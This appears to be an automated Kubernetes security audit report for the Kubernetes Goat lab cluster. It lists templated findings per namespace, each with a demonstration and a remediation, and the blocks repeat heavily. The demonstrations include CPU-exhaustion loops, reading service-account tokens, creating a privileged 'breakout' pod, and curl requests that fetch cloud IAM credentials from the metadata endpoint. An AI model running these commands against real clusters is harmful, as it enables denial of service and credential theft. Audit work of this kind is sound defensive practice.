kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -A5 "Limits"
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n secure-middleware -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container

# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Job hidden-in-layers -n default | grep -A5 "Limits"
kubectl get Job hidden-in-layers -n default -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n default -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container

# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -A5 "Limits"
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n big-monolith -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container

# MEDIUM: Missing ResourceQuota on Namespace - Resource Exhaustion

kubectl get resourcequota -n default
# No resources found = VULNERABLE

# Deploy resource-intensive workload to demonstrate unbounded consumption
kubectl run resource-hog --image=alpine -n default --restart=Never -- \
  sh -c "while true; do :; done"  # 100% CPU spin — no limit!

kubectl top pods -n default  # CPU spikes with no cap
kubectl top nodes       # Node CPU impacted

# REMEDIATION: Create ResourceQuota:
kubectl create quota ns-quota -n default \
  --hard=cpu=4,memory=8Gi,pods=20,persistentvolumeclaims=5

# MEDIUM: Missing ResourceQuota on Namespace - Resource Exhaustion

kubectl get resourcequota -n secure-middleware
# No resources found = VULNERABLE

# Deploy resource-intensive workload to demonstrate unbounded consumption
kubectl run resource-hog --image=alpine -n secure-middleware --restart=Never -- \
  sh -c "while true; do :; done"  # 100% CPU spin — no limit!

kubectl top pods -n secure-middleware  # CPU spikes with no cap
kubectl top nodes       # Node CPU impacted

# REMEDIATION: Create ResourceQuota:
kubectl create quota ns-quota -n secure-middleware \
  --hard=cpu=4,memory=8Gi,pods=20,persistentvolumeclaims=5

# MEDIUM: Missing ResourceQuota on Namespace - Resource Exhaustion

kubectl get resourcequota -n big-monolith
# No resources found = VULNERABLE

# Deploy resource-intensive workload to demonstrate unbounded consumption
kubectl run resource-hog --image=alpine -n big-monolith --restart=Never -- \
  sh -c "while true; do :; done"  # 100% CPU spin — no limit!

kubectl top pods -n big-monolith  # CPU spikes with no cap
kubectl top nodes       # Node CPU impacted

# REMEDIATION: Create ResourceQuota:
kubectl create quota ns-quota -n big-monolith \
  --hard=cpu=4,memory=8Gi,pods=20,persistentvolumeclaims=5

# MEDIUM: Missing ResourceQuota on Namespace - Resource Exhaustion

kubectl get resourcequota -n local-path-storage
# No resources found = VULNERABLE

# Deploy resource-intensive workload to demonstrate unbounded consumption
kubectl run resource-hog --image=alpine -n local-path-storage --restart=Never -- \
  sh -c "while true; do :; done"  # 100% CPU spin — no limit!

kubectl top pods -n local-path-storage  # CPU spikes with no cap
kubectl top nodes       # Node CPU impacted

# REMEDIATION: Create ResourceQuota:
kubectl create quota ns-quota -n local-path-storage \
  --hard=cpu=4,memory=8Gi,pods=20,persistentvolumeclaims=5

# MEDIUM: Container Running as Root

kubectl exec -it deploy/metadata-db -n default -c metadata-db -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it deploy/build-code-deployment -n default -c build-code -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it deploy/cache-store-deployment -n secure-middleware -c cache-store -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it deploy/kubernetes-goat-home-deployment -n default -c kubernetes-goat-home -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it deploy/hunger-check-deployment -n big-monolith -c hunger-check -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it batch-check-job -n default -c batch-check -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it deploy/local-path-provisioner -n local-path-storage -c local-path-provisioner -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it deploy/internal-proxy-deployment -n default -c internal-api -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it deploy/poor-registry-deployment -n default -c poor-registry -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it hidden-in-layers -n default -c hidden-in-layers -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED — no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace

# MEDIUM: No Runtime Security Monitoring

# Deploy Falco for immediate runtime threat detection:
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco --namespace falco --create-namespace \
  --set falco.grpc.enabled=true \
  --set falco.grpcOutput.enabled=true

# Deploy Cilium Tetragon for eBPF-based enforcement:
helm repo add cilium https://helm.cilium.io
helm install tetragon cilium/tetragon -n kube-system

# Verify deployment
kubectl get pods -n falco
kubectl get pods -n kube-system | grep tetragon

# MEDIUM: NodePort Service Exposed - Direct Node Access

kubectl get svc internal-proxy-info-app-service -n default
kubectl get nodes -o wide
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[?(@.type=="InternalIP")].address}')
curl http://$NODE_IP:30003

# REMEDIATION: Use LoadBalancer or Ingress instead of NodePort to control exposure

# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED — no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace

# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED — no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace

# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED — no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace

# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED — no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace

# MEDIUM: Privilege Escalation Not Disabled

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor -- /bin/sh
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/pkexec → CVE-2021-4034 PwnKit

# REMEDIATION: Set allowPrivilegeEscalation: false

# MEDIUM: Privilege Escalation Not Disabled

kubectl exec -it deploy/health-check-deployment -n default -c health-check -- /bin/sh
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/pkexec → CVE-2021-4034 PwnKit

# REMEDIATION: Set allowPrivilegeEscalation: false

# MEDIUM: Service Account Token Auto-mounted

kubectl exec -it k8scan-go -n default -c k8scan-go -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token

TOKEN=$(kubectl exec k8scan-go -n default -c k8scan-go -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i --list --token=$TOKEN -n default

# REMEDIATION: spec: automountServiceAccountToken: false

# LOW: Cloud Metadata API - Potential Credential Theft (cloud environments only)

kubectl exec -it $(kubectl get pods -n local-path-storage -o jsonpath="{.items[0].metadata.name}") \
  -n local-path-storage -c local-path-storage -- /bin/sh

curl -s http://169.254.169.254/latest/meta-data/
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# REMEDIATION: Block 169.254.169.254 with NetworkPolicy

# LOW: Cloud Metadata API - Potential Credential Theft (cloud environments only)

kubectl exec -it $(kubectl get pods -n secure-middleware -o jsonpath="{.items[0].metadata.name}") \
  -n secure-middleware -c secure-middleware -- /bin/sh

curl -s http://169.254.169.254/latest/meta-data/
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# REMEDIATION: Block 169.254.169.254 with NetworkPolicy

# LOW: Cloud Metadata API - Potential Credential Theft (cloud environments only)

kubectl exec -it $(kubectl get pods -n default -o jsonpath="{.items[0].metadata.name}") \
  -n default -c default -- /bin/sh

curl -s http://169.254.169.254/latest/meta-data/
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# REMEDIATION: Block 169.254.169.254 with NetworkPolicy

# LOW: Cloud Metadata API - Potential Credential Theft (cloud environments only)

kubectl exec -it $(kubectl get pods -n big-monolith -o jsonpath="{.items[0].metadata.name}") \
  -n big-monolith -c big-monolith -- /bin/sh

curl -s http://169.254.169.254/latest/meta-data/
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# REMEDIATION: Block 169.254.169.254 with NetworkPolicy

# LOW: Missing LimitRange on Namespace

kubectl get limitrange -n secure-middleware
# No resources found = VULNERABLE

# Verify a pod runs without resource limits
kubectl get pods -n secure-middleware \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].resources}{"\n"}{end}'
# Empty resources = no limits

# REMEDIATION: Create a LimitRange with sensible defaults:
kubectl apply -f - <<EOF
apiVersion: v1
kind: LimitRange
metadata:
  name: default-limits
  namespace: secure-middleware
spec:
  limits:
  - type: Container
    default:
      memory: 512Mi
      cpu: 500m
    defaultRequest:
      memory: 128Mi
      cpu: 100m
EOF

# LOW: Missing LimitRange on Namespace

kubectl get limitrange -n default
# No resources found = VULNERABLE

# Verify a pod runs without resource limits
kubectl get pods -n default \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].resources}{"\n"}{end}'
# Empty resources = no limits

# REMEDIATION: Create a LimitRange with sensible defaults:
kubectl apply -f - <<EOF
apiVersion: v1
kind: LimitRange
metadata:
  name: default-limits
  namespace: default
spec:
  limits:
  - type: Container
    default:
      memory: 512Mi
      cpu: 500m
    defaultRequest:
      memory: 128Mi
      cpu: 100m
EOF

# LOW: Missing LimitRange on Namespace

kubectl get limitrange -n big-monolith
# No resources found = VULNERABLE

# Verify a pod runs without resource limits
kubectl get pods -n big-monolith \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].resources}{"\n"}{end}'
# Empty resources = no limits

# REMEDIATION: Create a LimitRange with sensible defaults:
kubectl apply -f - <<EOF
apiVersion: v1
kind: LimitRange
metadata:
  name: default-limits
  namespace: big-monolith
spec:
  limits:
  - type: Container
    default:
      memory: 512Mi
      cpu: 500m
    defaultRequest:
      memory: 128Mi
      cpu: 100m
EOF

# LOW: Missing LimitRange on Namespace

kubectl get limitrange -n local-path-storage
# No resources found = VULNERABLE

# Verify a pod runs without resource limits
kubectl get pods -n local-path-storage \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].resources}{"\n"}{end}'
# Empty resources = no limits

# REMEDIATION: Create a LimitRange with sensible defaults:
kubectl apply -f - <<EOF
apiVersion: v1
kind: LimitRange
metadata:
  name: default-limits
  namespace: local-path-storage
spec:
  limits:
  - type: Container
    default:
      memory: 512Mi
      cpu: 500m
    defaultRequest:
      memory: 128Mi
      cpu: 100m
EOF

# LOW: No AppArmor Profile Configured - MAC Layer Missing

# Check if AppArmor is enabled on nodes
kubectl get nodes -o yaml | grep -i apparmor

# Check pod annotation for AppArmor profile
kubectl get pod k8scan-go -n default \
  -o jsonpath='{.metadata.annotations.container\.apparmor\.security\.beta\.kubernetes\.io}'
# Empty = no profile (VULNERABLE)

# Inside container — verify no AppArmor restrictions
kubectl exec -it k8scan-go -n default -c k8scan-go -- \
  cat /proc/self/attr/current
# "unconfined" = no AppArmor = VULNERABLE

# REMEDIATION: Apply runtime/default AppArmor profile via annotation:
# annotations:
#   container.apparmor.security.beta.kubernetes.io/<container>: runtime/default

# VALIDATION: Check Root Filesystem

kubectl get Deployment system-monitor-deployment -n default -o yaml | grep readOnlyRootFilesystem
# Should show "readOnlyRootFilesystem: true" — empty or false = VULNERABLE

# REMEDIATION: Set securityContext.readOnlyRootFilesystem: true

# VALIDATION: Check Root Filesystem

kubectl get Deployment health-check-deployment -n default -o yaml | grep readOnlyRootFilesystem
# Should show "readOnlyRootFilesystem: true" — empty or false = VULNERABLE

# REMEDIATION: Set securityContext.readOnlyRootFilesystem: true

# VALIDATION: Check Seccomp Profile

kubectl describe Job batch-check-job -n default | grep -i seccomp
kubectl get Job batch-check-job -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment system-monitor-deployment -n default | grep -i seccomp
kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -i seccomp
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep -i seccomp
kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Pod k8scan-go -n default | grep -i seccomp
kubectl get Pod k8scan-go -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -i seccomp
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -i seccomp
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment metadata-db -n default | grep -i seccomp
kubectl get Deployment metadata-db -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment poor-registry-deployment -n default | grep -i seccomp
kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Job hidden-in-layers -n default | grep -i seccomp
kubectl get Job hidden-in-layers -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment internal-proxy-deployment -n default | grep -i seccomp
kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment health-check-deployment -n default | grep -i seccomp
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# VALIDATION: Check Seccomp Profile

kubectl describe Deployment build-code-deployment -n default | grep -i seccomp
kubectl get Deployment build-code-deployment -n default -o yaml | grep -A3 seccompProfile
# Empty output = no seccomp (VULNERABLE)

# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)

# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)

# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)

# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)

# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)

# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)

# LOW: Workload in Default Namespace - No Namespace Isolation

# Verify the workload is in default namespace
kubectl get all -n default

# Check if NetworkPolicy exists in default namespace (usually none)
kubectl get networkpolicy -n default
# No resources = all pods in default can talk to each other

# Check default SA permissions in default namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Move workload to a dedicated namespace with:
# 1. NetworkPolicy (default-deny-all ingress + egress)
# 2. ResourceQuota
# 3. Dedicated service account (automountServiceAccountToken: false)

# LOW: externalTrafficPolicy: Cluster - Source IP Masking

# Verify the policy
kubectl get svc internal-proxy-info-app-service -n default \
  -o jsonpath='{.spec.externalTrafficPolicy}'
# Cluster = VULNERABLE (source IP lost via SNAT)

# Confirm source IP masking — check application logs when accessing externally
EXTERNAL_IP=$(kubectl get svc internal-proxy-info-app-service -n default \
  -o jsonpath='{.status.loadBalancer.ingress[0].ip}')
curl http://$EXTERNAL_IP/
kubectl logs -n default -l app=internal-proxy-info-app-service --tail=5 | grep -i "ip\|remote\|client"
# Log shows internal node IP, not your actual IP

# REMEDIATION:
kubectl patch svc internal-proxy-info-app-service -n default \
  -p '{"spec":{"externalTrafficPolicy":"Local"}}'

# VALIDATION: Check Image Tags for :latest

kubectl get Deployment health-check-deployment -n default -o yaml | grep image:
kubectl describe Deployment health-check-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep image:
kubectl describe Deployment internal-proxy-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Job hidden-in-layers -n default -o yaml | grep image:
kubectl describe Job hidden-in-layers -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep image:
kubectl describe Deployment hunger-check-deployment -n big-monolith | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep image:
kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Job batch-check-job -n default -o yaml | grep image:
kubectl describe Job batch-check-job -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Deployment system-monitor-deployment -n default -o yaml | grep image:
kubectl describe Deployment system-monitor-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Deployment poor-registry-deployment -n default -o yaml | grep image:
kubectl describe Deployment poor-registry-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep image:
kubectl describe Deployment cache-store-deployment -n secure-middleware | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Pod k8scan-go -n default -o yaml | grep image:
kubectl describe Pod k8scan-go -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Deployment build-code-deployment -n default -o yaml | grep image:
kubectl describe Deployment build-code-deployment -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Image Tags for :latest

kubectl get Deployment metadata-db -n default -o yaml | grep image:
kubectl describe Deployment metadata-db -n default | grep Image:

# REMEDIATION: Use specific tags like nginx:1.21.0 instead of :latest

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment health-check-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Job batch-check-job -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Job hidden-in-layers -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
